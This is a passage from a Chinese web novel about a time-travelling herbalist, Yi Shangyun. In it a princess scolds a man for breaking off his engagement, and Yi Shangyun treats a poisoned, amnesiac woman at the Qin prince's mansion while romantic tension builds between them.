21世纪里,中国已知的蝴蝶种类也就一千多种,而现在是古代,就单单西秦国的西秦学院蝴蝶谷,眼前看这情势应该也要近千了,衣上云心里惊叹着。 “果然是奇观,不虚此行” 话说这神蝶可并不是出自西秦学院的新品种,它乃是一个人千里迢迢跋山涉水带来至西秦的...... 第二十章:荒唐的陆天麟 西秦学院里,陆天麟此时刚回到学院便被父亲也就是学院院长陆贤叫过去大厅里。 他前脚一迈入大厅,就看见陆贤坐在桌案边沉着一张阴冷的脸。 一见到陆天麟跨入门槛便开口大骂“逆子,你整日在外闲逛,不学无术,到处惹是生非。真是丢尽了我陆家和西秦学院的颜面,你还敢回来”。 陆天麟面不改色,他早已经习惯了父亲的这番训诫法则。从小到大,几乎他做的每一件事情父亲从来都不曾放在眼里,也从不听他解释,永远只有责备。 陆天麟和陆天骄俩是孪生兄妹,出生的时候母亲陆氏难产,幸得衣上云父母衣上坤和年氏相救。 于是两家便指腹为婚,衣家若有女,陆家儿子便娶之为妻;衣家若是为男,陆家女儿则嫁之为妇。 然而谁想陆天麟长大后却自作主张上衣家退了这门亲事,着实让陆贤十分内疚。 陆氏在这陆家兄妹尚还年幼之时便已病逝,没有母亲疼爱,陆天麟则更是越来越一身逆鳞,学院里所有教习读书上他一件都不上心。 反倒这女儿陆天骄倒是聪慧过人且琴棋书画样样精通,心思缜密、这些年落得出类拔萃。所谓女大十八变,长得也越来越标致,端庄大方。 陆贤本就因陆天麟自行退婚一事一直心里愧疚,而今轩辕玥又旧事重提,他才方知这件事比自己想象的要严重地多,怕是宫里已无人不知。 世人肯定都在背后议论陆家恩将仇报,不仁不义了。 陆天麟见父亲怒着,便想要抬步退身偷偷溜走开。 陆贤却冷冷对他的背影说了句“玥公主造访,今日提及你退婚一事,你最好在退婚的时候就已经想好怎么来平息这悠悠众口了”。 陆天麟俨然一副并不在意的样子,只是顿足停留了一会,等陆贤话说完便头也不回地走了。 随即陆贤顺手拿起桌案边的茶杯便狠狠地朝着陆天麟出去的方向砸了过去,杯子碎了一地。 随后只听见他发出一声无奈的长叹,摇着头“唉,真是家门不幸啊”。 此时天色已经暗了下来,轩辕玥和陆天骄一席人等正在花厅里畅聊蝴蝶谷这几年的变化,衣上云和另外两个小宫女也一起贴身侍奉着。 陆天麟远远就听闻到这边热闹的声音,寻着过来,一走进便恭敬地向轩辕玥行礼。 “哎呦,陆大少主,你这个大忙人终于回来了啊,不知这次外出又看上了哪家贵族小姐啊?”轩辕玥明显是在挑衅他。 “公主殿下,许久未见,此话从何说起”陆天麟倒是装作一脸无辜的样子。 “哼,想当年衣府老爷夫人为了救你难产的母亲,一收到父皇的派遣,便日夜兼程不眠不休地从京城赶到西秦学院。一路奔波不说,因为男女大防,衣家老爷更是让其夫人亲自助你母亲顺利生下你孪生兄妹二人,你父母感激不尽便与你指腹为婚。可你倒是出息,趁着人家姑娘病着,便等不及人家醒过来急急想攀那相国之女,甚至到衣府自行退婚。你将人家姑娘退了,以后谁还敢娶她?天下还有你这样不耻,恩将仇报之人吗”。 轩辕玥嗤之以鼻地训斥着陆天麟。 衣上云看着轩辕玥,被她此时的每一句话震撼着,这个公主果然像她想的那样,大义凛然,一身正气。 “公主此言差矣,衣家小姐生病卧床昏迷有一年之久,哪有人会昏迷那么久,定是衣家有意匡在下,不知道有何企图?”陆天麟愤怒地说着。 “哼,陆少主,你也未免太看得起自己了吧。匡你,暂且不说其他人,就说这西秦学院里的受教习的所有皇宫贵族子弟里面,敢问你陆少主排名第几呢?试问你有何被匡的价值?”轩辕玥轻蔑地说。 “你......”看得出陆天麟已愤怒到极点却欲言又止,他自是无言以怼。他也还是知道自己在跟皇帝最宠爱的公主说话,再气再委屈又岂能真的对她动怒,他只能敢怒而不敢言地收声,一脸挫败。 然而轩辕玥仍旧句句一针见血,陆天麟被轩辕玥每一点都刚好点到痛处。 陆天娇见此火药味极浓的气氛,便上前急急劝道“公主殿下,都是哥哥的错,而今木已成舟,再多争辩也都于事无补。如今,既然已经退婚,只惟愿他们两个都各自安好即可。还请公主莫再生气”。 “哼,本公主今天既然话说到这个份上了,索性最后再多送你几句,替你九泉下的老母亲好好教育一下你这个不孝之子。不要整天光想着不学无术、不劳而获、攀图富贵”。 轩辕玥对着陆天麟狠狠地说道“富家不用买良田,书中自有千钟粟。安居不用架高堂,书中自有黄金屋。出门莫恨无人随,书中车马多如簇。娶妻莫恨无良媒,书中自有颜如玉。男儿若遂平生志,六经勤向窗前读”。 轩辕玥一说完便朝这兄妹二人冷哼了一声,抬头挺胸大步离开了花厅。 衣上云和两个小宫女跟随其后亦走出门去,而衣上云从陆天麟身边走过的时候,稍稍抬眼看了他一眼。 陆天麟被怼地无话可说,却也细细想着轩辕玥的每一句训斥,呆呆傻傻地站着半天一动也不动,像是真的听进去轩辕玥的话在若有所思。 半晌后才被陆天娇的声音唤醒“哥哥,哥哥......” 然而陆天麟一句话都没有跟她说,一醒过神来便也朝花厅门外面走去,很快便消失在了这黑漆漆的夜雾里。 “公主,你刚才的话说的甚是精彩,字字铿锵有力,有公主维护那姑娘,相信那姑娘一定会醒过来的”衣上云在回廊亭子里边走边对前面的轩辕玥说道,她真的很替原主感激公主的此番训斥。 “哼,陆家这个荒唐的公子真是荒唐至极,恩将仇报将这么大的恩人陷于这等境际。让人家姑娘以后如何做人。本公主恨不得将他关起来关一辈子,也让他尝尝见不得人的滋味”轩辕玥至今一想到陆天麟方才那尚不知悔改的一言一行依然很生气。 “公主不要生气了,瞧您的眉头都皱起来了”衣上云观察到了她的表情后劝说道。 “明天天一亮本公主就要回宫了,都回去收拾一下吧”轩辕玥有些不悦,她喜欢宫外的空气和自由世界,而今又要回去关在那金丝鸟笼里了,她定是不悦的。 可是身为皇家子女,这也是她不能选择的。 第二天天一亮,陆贤便带着一双儿女早早来送行。 “公主殿下,老夫教子无方,实在惭愧,望公主莫怪”陆贤一脸无奈的说着。 “公主殿下,在下一定谨记公主教诲之言,日后努力上进”陆天麟竟然迫不及待说出了这句话来,令在场所有人为之一振,尤其是他的父亲陆贤。 陆贤他还不知道发生了什么事。他直眼睛死死盯着陆天麟。这番话是他这十几年来听过儿子讲的最为认真的一句,此刻竟然眼中有一丝泪光在闪烁。 他也自知夫人早逝,对于这双儿女他有很多事情做的不好,对他们甚是愧疚。但如今听到儿子口中的这席话,明显是出于肺腑之言。 而轩辕玥亦是有些心软,意味深长地看了看陆天麟。说了最后一句“莫等闲,白了少年头,空悲切”便上了安车朝着皇城方向而去。 看着两辆安车远去的背影,父子三人互相凝视,意义深远。 而衣上云和轩辕玥此时浑然不知一场危险正在向他们悄悄靠近 ...... 第二十一章:偶遇,翩翩公子 轩辕玥求了皇后半天,才答应准她秘密出行三天,说是秘密出行,其实一路都有宫廷一等一的暗卫随行保护的。 而今天已经是三天之约的最后一天了,所以她们还是和来的时候一样日夜兼程一定要赶到明天天亮前回到皇宫的,否则下次她可就别想再出宫来了。 轩辕玥真心不喜欢皇宫这个金丝鸟笼,看起来富丽堂皇,锦衣玉食,但这些对于她这个喜爱自由不拘不束的性子,让她在皇宫里觉得只是让她一直喘不过气。但身在帝王家,她没有一点选择的权利,什么都不可以。 她从小喜欢蝴蝶,自从得知西秦学院后山的蝴蝶谷后她几乎每隔两年就要来看一次。其实没有人知道她喜欢来看蝴蝶只是喜欢蝴蝶的自由而已,她希望自己有一天也能够飞出皇宫,飞出西秦国,飞到另一个自由的国度,那个国度里会有自由会有他...... 这几天里,衣上云看着轩辕玥的点点滴滴,对这个公主更多了一份尊重。她年纪比衣上云还要小两岁,却有一种与生俱来的正义感和威严感,让人又敬又怕。正如衣上云的敬,正如陆天麟的怕,谁能想到那样一个放荡不羁,游手好闲的纨绔子弟竟然会被一个15岁的女子将其动容,悔不应该。 虽然衣上云被陆天麟退了婚,但是轩辕玥昨晚说的话也正如衣上云所想的。如果不是身份悬殊太大,衣上云想她们俩应该会是很好的朋友的。 时间已经是傍晚了,才走了一半多点的路程,此时人人都已经觉得很累了。突然安车一个急停,车上的人都顿时身子往前倾了去。轩辕玥掀开窗帘厉声呵斥道:“怎么回事?” 驾车的奴才也顿时吓出了一身冷汗“公主,有个妇人突然冲出来倒地拦住了安车的去路”轩辕玥这才抬头看去,衣上云和两个小宫女此时也早已下车上前来查看。只见一个画着浓妆穿着一身凌乱的女子斜躺在地上,脸色发青,特别难看。衣上云立刻伸出手去摸女子脉搏,惊道“公主,她是中毒了”,轩辕玥一听急急下车来站着她们身后看了一眼。 而就在这时,从侧面的小道冲出来几个满脸横肉的壮汉,手握大刀。冲着衣上云她们威胁道“那个女人是我们的人,赶快把她还给我们,爷爷今儿就绕了你们几个。不然......嘿嘿嘿......”他们露出了一脸不怀好意的淫笑,附身朝着蹲在女人身边的衣上云和小宫女而去,衣上云和小宫女吓得侧过脸顿时身子往后躲去。 轩辕玥正打算展露拳脚,只见“啪啪啪......”几个壮汉突然在他们面前重重地倒了下来。而就在他们倒地后,便看到了身后站着一位翩翩公子。一身锦白长袍、墨发全束、温润如玉、眉宇之间散发着一股尊贵之气。 随后,他一边作揖行礼一边用那如同本性一般温润如暖阳的富有磁性的声音说道“姑娘,受惊了”随即将还半蹲在地上的衣上云和两个小宫女俯身扶起。 衣上云等人一起来站好便走到轩辕玥身旁去,这才发现身旁的轩辕玥早已经目光呆滞,陷入了一副深深迷恋的眼神中,积石如玉,列松如翠,郎艳独绝,世无其二。小宫女扯了扯轩辕玥的衣裙,她才醒了过来,便急急道“多谢公子相助,可否请问公子尊姓大名?” “路见不平拔刀相助,姑娘不必挂怀,在下还有事,有缘再见吧”只见他一边作揖告别一边说着,随后便真的转眼就消失在了人群中。而轩辕玥的眼睛却一直望着他离开的背影再也没有移开。 衣上云看见故意将五个手指伸到了轩辕玥的眼前挡住了她的视线轻轻晃了晃手掌,歪着脑袋微笑着。顿时,轩辕玥眼珠一转,伸出手打落了衣上云晃动着的手掌还说了句“大胆”。 随即一行人又匆匆再次弯腰下去看了看躺在地上的女人,她这打扮明显是青楼女子的装束,衣衫不整,应是逃出来的,但是这毒却像是一种长期的慢性*毒药导致的神志不清,记忆有损。 到底她身上有什么秘密呢?衣上云和轩辕玥彼此互相交换了下眼神,衣上云先开了口“公主,她必须马上解毒,我们需要找个落脚的地方” 轩辕玥看了看周围,眼神一定说道“带她上车,本公主知道一个好地方” 轩辕玥想到了一个地方。 他们现在所处的位置距离这个地方很近,而且她相信没有什么地方比这个地方更安全了,最关键的是治疗这个女人会延误她们准时回宫的时间,而她们要去的这个地方的主子却可以在父皇母后面前轻轻松松的保全她们。 这个地方便是——西秦秦王府,轩辕翰的王府府邸。父皇母后凡事定是要给这个秦王三分薄面的,更何况是她延时回宫这么简单的事。 此时,夜色已经完全暗了下来。 “老婆婆家里,暗卫还没有消息吗”轩辕翰一脸凝重地问副将程良,原本就冰冷的脸加上凝重就更冷了,如果不是从小就跟在身边的程良,肯定会被吓出一身冷汗的。 “殿下,还没有,我们的人一直都在守着”程良无奈地回答他,轩辕翰一个深深的呼吸,是很无奈。 都过去这么久了,一点消息都没有,这对婆孙还满心希冀的盼着她的儿子媳妇孙女的爹娘平安归来呢。而今,西秦国又有多少这样的家庭在同样期盼着,着灵空大陆又同样有多少个家庭在翘首而盼,轩辕翰陷入了沉沉的深思...... 一个侍卫向着大殿方向过来,程良立马走出去,侍卫汇报“将军,玥公主驾到,现在配殿,带了一个中毒的女子,说是路上遇到的” 程良立刻入殿跟轩辕翰禀报了详情。轩辕翰刚听完皱着眉头一脸不悦的立马走出大殿朝配殿过去。 “玥儿拜见皇叔”轩辕玥见轩辕翰进来连忙欠身行礼,衣上云及随行宫女亦是行礼。 “你为何会出宫来,又为何会带回这个女子,把详细情况都说清楚了”轩辕翰一如往常的冷面严肃,就连轩辕玥也是有些惧怕的。她连忙将事情的首位原原本本真的一字不漏地乖乖讲了一遍。 “程良,马上派人速速去宫里给皇上皇后报个平安,就说玥公主在王府里,明天一大早本王会亲自送回宫中,请他们安心”轩辕翰说完却明显一副很不耐烦处理这种小伎俩的事情,程良领命后便下去安排。 “本王先安排王府的毒医来诊治”轩辕翰继续说 “皇叔,不必了。玥儿随行带了药女,她处理便可” 轩辕玥目光落在衣上云身上,衣上云上前行礼道“奴婢御药房药女衣上云拜见秦王殿下” 轩辕翰这才注意到原来是她。她真的到了御药房,而且还结识了轩辕玥,看起来轩辕玥很是信任她。 “如此,那就你来吧”轩辕翰说着示意她起身。 轩辕玥这时开口道“云儿,那这个女人就交给你了,明天你也不用急着跟本公主一起回宫,等把她医治完成后你再回去吧,本公主会派人去御药房传话的。”衣上云自是只能听从主子安排差事的。 轩辕玥继续说“皇叔,这个小药女这几日就麻烦住你府上了,事情完毕后再让她回宫,皇叔费心了” 轩辕翰不说话只是微微眨了一下眼睛,他一向如此,不说话就代表认可,默认。总是惜字如金,多说一个字不知道对他会怎么样,但是轩辕玥长这么大,自是十分了解这个皇叔的,所以也欣然接受他的沉默。随后便对轩辕翰行礼告退,出门朝寝殿去休息了。 承华殿的配殿里人都散去了,只剩下了轩辕翰和衣上云二人。轩辕翰侧身对着衣上云,没有人说话,气氛有些尴尬起来。这时衣上云有些不自然却还是急急开了口“秦王殿下,之前殿下救了奴婢性命,奴婢还没有当面致歉,谢谢殿下救命之恩” “本王也只是还人情而已”轩辕翰喃喃地说出这句话,然而声音却很小很小,好像只有他自己能听清楚他说了什么吧。 “王爷说什么,奴婢没听清楚”衣上云蹙眉微微侧耳问,像是这次要努力用耳朵听清楚轩辕翰的话。 然而从侧面她只看到轩辕翰一个深深的呼吸,眼睛微微抬起却又瞬间落下去。紧接着说了句“没什么,你不必多虑,中毒的人现在什么情况” “回殿下,中毒的女子应该是长期被人服用了一种慢性的毒药对其加以控制,具体是何毒?因她逃出来的时候异常紧张气血攻心才导致药物突袭大脑以致昏迷,刚才在王府阁楼里,奴婢已经给她银针过穴,通了气血后她已经休息了。明日她醒后奴婢要询问她一些具体状况后方才能为她开始解毒,请殿下放心” 衣上云说的很仔细。轩辕翰也在听,却似乎听的是她的声音而不是她讲的内容。如今他的心早已经不是遇见她之前的那个他的心了,心里到底装进去了什么,他又怎么能说得清呢?换句话说,如果他知道装进去的是什么,他又能怎样?他会要?他会取吗?他可以要可以取吗? 一切的一切,他心里都清清楚楚,却从来不敢表露。怕什么?怕爱而不得,怕到头皆是空欢喜,怕自己无力承受一份感情?哪怕是整个灵空大陆,整个天下,他都不怕承担不起,但此刻对她,他却怕极了。他可以随便接受一段自己并不认识也不放在心上的赐婚,但他却不能对她随便。 与其如此结局,他宁愿永远都不要走近,永远...... 墙里秋千墙外道。墙外行人,墙里佳人笑,笑渐不闻声渐悄,多情却被无情恼。 这一夜,第一次独处的两个人,最后以轩辕翰的一句“你做的很好,辛苦了,下去休息吧”结束。 月朗星稀,寂静的夜,秦王府的主子心里又一次泛起了涟漪...... 第二十二章:归来,却是相逢不相识 第二天一早,衣上云便早早起身准备送轩辕玥回宫. “云儿,你且安心在皇叔府里住着,等玉娘稳定好些了再回宫,御药房那边本公主自会派人去传话,你不必忧心” 轩辕玥一边细心地交待她,一边看了轩辕翰一眼,意思自是要轩辕翰把衣上云照顾好。 而轩辕翰自是一脸如常日的面无表情。 “你还是担心你自己吧,小心你父皇母后回去扒了你的皮”轩辕翰冷冷道。 “父皇母后不会,有秦皇叔在,玥儿自是平安无事,这个天下有谁敢不给秦皇叔面子呢”轩辕玥嬉皮笑脸地拉着衣上云撒起娇来。 轩辕翰亲自带轩辕玥回宫,这样的事,没有他这个位高权重的皇叔帮忙在父皇母后面前开尊口,轩辕玥自是很难摆平的。 安车缓缓离开了秦王府往皇宫方向驶去。轩辕翰确是个很无趣的人,一路闭目养神沉默着,轩辕玥则反之。 忍了半天终于还是忍不住开口道“皇叔,东宁国公主未来皇婶很快就要进京了,你......真的”轩辕玥话没说完却停了下来。 “玥儿,如果你喜欢一个人,她却心里另有所属,你会怎么办”轩辕翰突然问道。 “啊?秦皇叔,难道你?”轩辕玥惊诧万分,秦皇叔不曾见过未来皇婶,他说的喜欢的人自是不可能是她,难道皇叔已有喜欢之人。 “秦皇叔,如果真的喜欢,就不要轻易放弃,放弃是最容易的事情,也是让自己在以后的岁月里最后悔的事情”轩辕玥人小,却说出这样的话来,让轩辕翰大吃一惊。 “玥儿,如果日后西秦也需要你牺牲来和亲,你可愿意”轩辕翰认真地问。 她也是皇室子女,也逃不了政治婚姻的命运。于是两个人就都安静了下来。 许久后,轩辕玥突然道“皇叔,即使要玥儿和亲,那个人也一定要是玥儿喜欢之人。玥儿只会为爱而生,玥儿不是不懂民族大义,只是玥儿更贪恋自由” “自由......”轩辕翰口中喃喃起这两个字,安车里叔侄二人同时陷入了无边的思绪之中。 “竟然是断肠草”衣上云一早就过来等女子醒来仔细询问了一些状况最后确定道。 “下毒的人不是把断肠草一次下入,所以才没有立即毙命。而是慢慢一点点让你服下以免中毒而亡。断肠草解毒倒也不是很难,平日里的绿豆、金银花、甘草煎后服用都是可以的”她正在对路上带回来的中毒女子说着。 “可是这种断肠草种类是产自北部游牧国家,那下毒的人莫非......不是西秦国人?换句话说,西秦国内有北部游牧国家细作”衣上云喃喃着恍然大悟感觉事情有些严重,一定要告诉秦王殿下。 “姑娘,谢谢你”女子躺在床榻上一脸的苍白,无力的说道。 “不必客气,你要坚强一些,一定会好起来的,还好中毒不是很深,我已经帮你施过针,再服几天药汤便会大好了”衣上云微笑着回答她。 就在此时,同样住在秦王府的婆孙俩双脚迈进门来。婆孙俩在秦王府这段时间下来已经跟张嬷嬷很熟悉了,秦王府一下子多了许多人,她们倒是也能帮许多忙。 这会便是帮张嬷嬷过来给这女子送洗漱水的。 衣上云一回头,“恩人姑娘,怎么是你啊?”婆孙俩异常惊喜地说。 “婆婆,灵儿,你们还在秦王府”衣上云亦是惊喜万分,知道了秦王留婆孙俩暂住王府等他消息,衣上云对轩辕翰的敬重又增加了许多。 “娘亲” 就在他们俩在一边说话的时候,小丫头不知道什么时候竟然站到了床榻边女子的旁边,而她此时竟然正在唤那女子娘亲,衣上云和婆婆听闻也急忙踱步过去。 “媳妇”婆婆战战兢兢竟然也失声吃惊地大叫一声。 “这到底怎么回事,你这是怎么了?”婆婆继续道。衣上云看着三个人微微蹙眉一脸不解。 “你们是?”床榻上的女人却并不觉她们口中喊的这般亲切,半天竟然问了一句她们是谁,竟然不识得她们。 “娘亲,你怎么了,我是灵儿,灵儿好想你啊,你去哪了”灵儿一边说一边哭泣着。 “媳妇,你到底怎么了” 看到女子已然不认识她们,婆孙俩竭斯底里悲痛欲绝地哭着,儿子至今生死未卜,惟愿媳妇有朝一日能平安归来。可如今的媳妇为何会成这般模样,竟然不识她们婆孙,她们怎能不悲伤。 这女人显然对眼前俩个至亲形同陌路,完全没有一点映像,脸上只有惊愕的表情。 “莫非是......失忆了?”衣上云突然意识到。 她缓缓走到婆孙两面前语重心长道:“婆婆,我看她极有可能是得了失忆之症,如今还好人没有事,你也不要太过于悲伤,好好陪伴照顾她,多说说以前的事情,也许有一日,她会记起的”。 婆婆一边点头,一边擦眼泪说:“谢谢姑娘,为了我的小孙女,我一定会让玉娘想起来的,若有朝一日我那苦命的儿回来了,这样我才能给他交代,才能死也明目”。 衣上云看着听着不禁一阵阵酸楚涌上心头,本就是可怜之人,如今更是雪上加霜。至爱之人归来,而今却已是相逢不相识,唯有泪千行。 不由得想到了自己,婆婆一家三口他们即使不相认识了,也在一个世界里,都还在一起,而她,一朝穿越至此,好像再也回不去了吧。 想着想着衣上云不由自主地不知道何时她竟已走出了秦王府大门,来到了街市上。忽然猛一抬头,看到了“百草堂”三个字,这才意识到自己已经走出很远了。 正在这时,易君浩放眼过来一眼便看到了站在门口外的衣上云,便匆匆走了出来。 他一袭黑衣劲装,墨发用一支玉簪半束,依旧迷人的一双桃花眼,身影潇洒不羁。一走近衣上云便欣喜道:“丫头,多日不见,是不是想三哥哥我了,所以跑来药行找我啊”。 “三少,莫要总是拿我寻开心”衣上云低头脸上有些不悦地说完这句话便想要转身回去,易君浩却立刻上前伸出手拦住了她。 见着衣上云阴云密布愁眉不展的小模样,他终于意识到自己方才的言语有些不适时宜。便正经了起来问“发生什么不开心的事了?” 衣上云一路抑郁至今,听到这句话终于眨了一下眼,撅了一下嘴巴继而抬起了头看了一眼他,却还是只深深叹了口气。 易三少见衣上云此状更心急了几分,但却突然瞥了一下眼睛突然道“丫头,跟三哥哥走,三哥哥带你去个好地方,你一定会喜欢”。 边说着易三少带着衣上云策马来到了附近一个小山谷。一到这里下了马,衣上云便目不转睛地被眼前这个世外桃源吸引惊呆了,真的好美。 “这海棠谷,可还入得了你的眼,让你乌泱泱的心情会好些呢......”易君浩看着衣上云说着,没等他说完,衣上云便朝着眼前的这片花海飞奔而去。 已经秋末了,这里却到处五颜六色花开如春、漫山遍野、海棠花香阵阵、沁人心脾。只见一朵朵盛开的秋海棠花色艳丽,花型多姿,叶色柔媚甚是五彩斑斓。让人一进到里面便如痴如醉沉醉其间,无法自拔。 其间一条小溪流穿过山涧,滋润大地万物,竟引来无数蝴蝶在此栖息。这都源于山谷内温暖湿润的特殊气候,蝴蝶才能即使在这样不适时宜的季节里也能在这山谷里很好的生活。 海棠花素有“解语花”之雅号,果然名不虚传,实至名归。此时衣上云显然已经不需要任何言语,便将所有的惆怅和烦恼抛之脑后了。 衣上云坐下来在溪边的一块大石头上,准备好好呼吸一下这里清新自由的空气,欣赏感受一番这里的水墨山涧花语蝶舞的图案,她抬头向着四周细细观望着,竟不自觉地发起呆来。 就在这时,易君浩也走过来朝着衣上云身边坐了下来,他欣赏的则是衣上云入迷发呆的活色生香的美人图。 今日衣上云身着一袭淡紫色长裙,肤如凝脂,娇唇欲滴,一头乌黑亮丽的长发披在玉背如瀑布一样丝丝垂落,发髻上发冠边簪着一支嵌着两朵桃花的长流苏簪子,尽透出一副冰清玉洁、气若幽兰、秀雅绝俗。 谁知坐在一旁的易君浩对着衣上云看着看着竟突然朝着衣上云的脸颊上吻了上去触碰到她的柔软,衣上云顿时大吃一惊地回头道“三少,你......” 被惊吓的她一个踉跄险些扑倒在溪水中,幸亏易君浩眼疾手快将她紧紧拉回,却顺势扑倒在三少怀里。 衣上云窝在三少怀中心扑通扑通地急跳着,瞬间一愣却随即用尽全力重重地一把推开易三少,起身慌乱地往回逃走,一边逃一边用手抚摸着易三少落吻的位置,表情害羞至极也生气至极。 他怎么可以这样无理,于是一步跨上马便扬长而去,留易君浩一人还在原地痴痴地怔着,片刻后易君浩的脸上竟露出一种好似阴谋得逞的笑容来。 “丫头,你可知道我有多喜欢你”易君浩这时喃喃说道。 等他回过神来的时候,衣上云早已经连人带马不知所踪 ...... 第二十三章:殿下,衣药女被人轻薄了 衣上云从海棠谷回到秦王府的时候,轩辕翰早已从宫中回来。 她在门口一下马,便飞一般冲向了在秦王府暂居的阁楼。而刚好被准备去王府承华殿的轩辕翰碰了个正着。 “你......”轩辕翰正想开口问中毒女子的情况,却突然看到衣上云充满泪水红红的双眼,仿佛已经哭过了的样子。 “秦王殿下”衣上云欠身急急行了个礼,便起身饶过了轩辕翰踱步而去。 看到如此失态的衣上云,轩辕翰暗自喃喃“她这是怎么了?”。 衣上云一回到阁楼就趴在书房的书案上伤心地大哭起来,此刻她觉得自己委屈极了,仿佛只有痛哭一场才能发泄自己这么久以来的压抑情绪。 “魏明轩,你这个混蛋,你到底去哪里了,你知不知道我已经等你很久很久了”衣上云一边哭一边说着。 21世纪里,她那么爱魏明轩,可他却不曾留下只字片语就离开消失不见;而她以为可以做最好朋友的杨俊哲却把他们的友谊不顾一切地想要强加一份婚姻上去。 从小到大,所有的一切困苦她都独自一人全力承担着。 现在在这西秦国里,她依然无依无靠,拥有的只是原主的躯体,却得不到原主父母的真心实意的爱护。 丑陋,废柴,退婚......一切的一切这些标签让她感到压抑、委屈、无辜。 而易三少,她想在这个国度里真心待他为朋友的人,今天却如此轻薄她。 她觉得自己此时彻底奔溃了,快要不能呼吸,到底还有没有能让她呼吸的世界或空间。她只是想要于世居于一隅、安稳度日、岁月静好而已。 似乎苦累了,她趴在桌案上抚起手腕上那只七彩*金丝彩玉镯子,忽然发现上面不知何时竟生出了血色的纹路来,有点像“t”的图案。看着看着又突然放大了声音大吼道“我到底什么时候可以回去,我要回去,我要回到属于我的世界去”。 这句话却被一旁的轩辕翰清清楚楚地听到耳朵里。他正站在她阁楼门口看了她半天了,她竟一点也没有感觉到。 最后轩辕翰深深倒吸一口气,像是鼓足了勇气走了进去到她身旁。 过去后他递上一方男人的手帕却眼睛直视前方看都没看衣上云,衣上云被突如其来的男子手帕惊吓到,连忙站起身来。 她一看来人自是不敢接他手中递来的手帕,连忙又是手又是衣袖地胡乱抹着脸颊上的泪珠,道了声“殿下,您怎么来了?”。 轩辕翰似是故意地给她一个嗤鼻一笑“哼,这秦王府整个王府都是我的,我不能来?” “奴婢不是这个意思”衣上云慌了忙解释。 “那你是什么意思”轩辕翰竟然追问起来,话说以往从前,秦王怎么可能做这种幼稚的事情,要是被程良知道了,还不知道会怎么嘲笑他呢? 话刚开口他却突然觉得自己的问题似乎有些许尴尬便转移话题道“你是不是在王府呆不习惯,想要回宫去?” 衣上云听声立刻看向他眼睛,急急说“殿下,奴婢住的很好,殿下何出此言?” 轩辕翰目光怼向她“那你刚才说要回去是什么意思?” 衣上云意识到自己方才的话可能被轩辕翰听到,便解释道“奴婢刚才说的不是殿下想的这样,殿下切莫多心。奴婢真的很好,谢殿下关怀”。 “刚才究竟发生了何事不妨可以对本王说说,或许本王可以帮你”,虽说是想要安慰人,轩辕翰这冷漠的语气和冰冷的眼神却着实让人完全一点也不这么认为。 “殿下,奴婢真的很好”衣上云只说。 他似是觉察了自己的失言,眉毛和眼睛忽然高高扬起却立刻恢复了以往的冰冷,说道:“如此便好,本王是来问你昨晚带回来的中毒女子现在情况如何了?” 衣上云这才想起她从海棠谷回来至今还未跟轩辕翰禀报此事,便立马一本正经严肃地说了起来。 “殿下,您还不知道吧?那个女子竟是老婆婆失踪的儿媳,名唤玉娘,可是她不仅中了一种慢性毒草,而且......而且失去了记忆”。 轩辕翰一直低着的眼睛突然抬起看向衣上云,他确实有些意外。衣上云看到他惊讶的表情便继续禀道“殿下,奴婢帮玉娘诊治的时候,发现了一件事情,这件事奴婢觉得很蹊跷,奴婢认为一定要让殿下知道”。 “何事”轩辕翰一如既往的惜字如金,言语精炼。 “奴婢今天一天细细想来,发现婆婆和她媳妇玉娘二人所中之毒有些奇怪,奴婢也不知道问题到底在哪,就是觉得有些蹊跷,有点想不通。殿下乃朝堂中人,熟悉国事时局,或许能猜到”衣上云认真地说。 “奴婢第一次在街市遇到婆婆的时候,发现婆婆所中之毒乃是蛊毒......” 衣上云还没说完,轩辕翰便惊讶地开了口“蛊毒?!” 衣上云很肯定地点头并说道“对,奴婢肯定是蛊毒,幸好婆婆那时也是刚中毒不深,如果再晚一些,怕是......” 衣上云犹豫了一下继续说道“而婆婆的儿媳玉娘,昨天奴婢也是有些猜想,为了验证奴婢的猜想等今天一大早玉娘清醒后奴婢便已经仔细跟她确认过,玉娘中的毒是断肠草毒”。 “断肠草解毒倒也不是很难,平日里的绿豆、金银花、甘草煎后服用都是可以有解毒之效的。” “可是她所中的这种断肠草的种类是产自北部游牧国家,在西秦国内断肠草种类也甚多甚广。根本没有必要引进外部的断肠草。如果是西秦国人所为,完全没有必要如此舍近求远。所以,奴婢猜想下毒的人极有可能是北部游牧国家之人”。 “那婆婆中毒又有何蹊跷之处?”轩辕翰又问。 “婆婆所中蛊毒的种类奴婢确定是出自南国,奴婢猜想下毒的人也极有可能是南国之人。”衣上云突然意识到了什么,眼睛一怔看着轩辕翰的背影立刻惊道“殿下,西秦有外国细作,肯定有大阴谋”。 轩辕翰此时正站在窗口负手而立望着窗外一脸阴云地沉默着。 半天后,他终于收回视线单手负后转过身直视着衣上云的凤眼一步一步缓缓踱步到衣上云的面前,衣上云看着他的眼神竟有些不知所措地紧张起来,怕是今天被易三少吓得不轻的缘故吧。 只是当轩辕翰走到她面前的时候眼睛一眨不眨紧紧地盯着她片刻之后才一字一顿地道了一句“此事,不许告诉第二个人知道”,衣上云若有所思轻轻地点了点头答应。 看着衣上云答应后,他依旧保持着紧盯她的眼神,半天后方才转身朝阁楼外面走去。 衣上云吓得两腿发软这时方才“扑通”一声重重落坐下来,竟发现自己紧张地冒出了细细的冷汗,因为紧张紧紧攥着的手心亦是一片潮湿。 被这样一个如神抵般的男人这么近距离用这样暧昧的眼神盯这么久,怎么会不紧张,他可是睥睨天下,尊贵无比的秦王殿下啊。 谁知轩辕翰刚走到门口,却突然停了脚步丢了一句:“难过,就抬头看看天空”,便径自离开了。 衣上云迅速抬头望着他离去的背影愣了好一会儿,才起身来到院子里缓缓抬起头真的望向了眼前这一望无际的湛蓝天空。 这是西秦的天空,可尽管沧海桑田、斗转星移、朝代更替、世事变迁、而这片蓝天却从来都恒古不变。 “魏明轩,你也一定还在的,是吗......”。 出了阁楼,轩辕翰看着刚才他准备要递给衣上云的手帕心想,这个女人,果然聪慧、心思缜密、还坚强勇敢。不由得嘴角上扬露出一抹好看的弧度,连眉毛也舒展开来了。 到了承华殿,副将程良正在候着他。 “殿下”见轩辕翰过来,他连忙作揖行礼。 “查到什么了”轩辕翰早已收回刚才的所有表情冷冷地问。 “衣姑娘今天去了海棠谷,是在百草堂遇见了一个男子,他带衣姑娘去的。男子身份很隐秘查不到。而且......”说着说着,程良有些迟疑说不出口。 “而且什么”轩辕翰眉头紧锁追问,似乎感觉到什么不对劲。 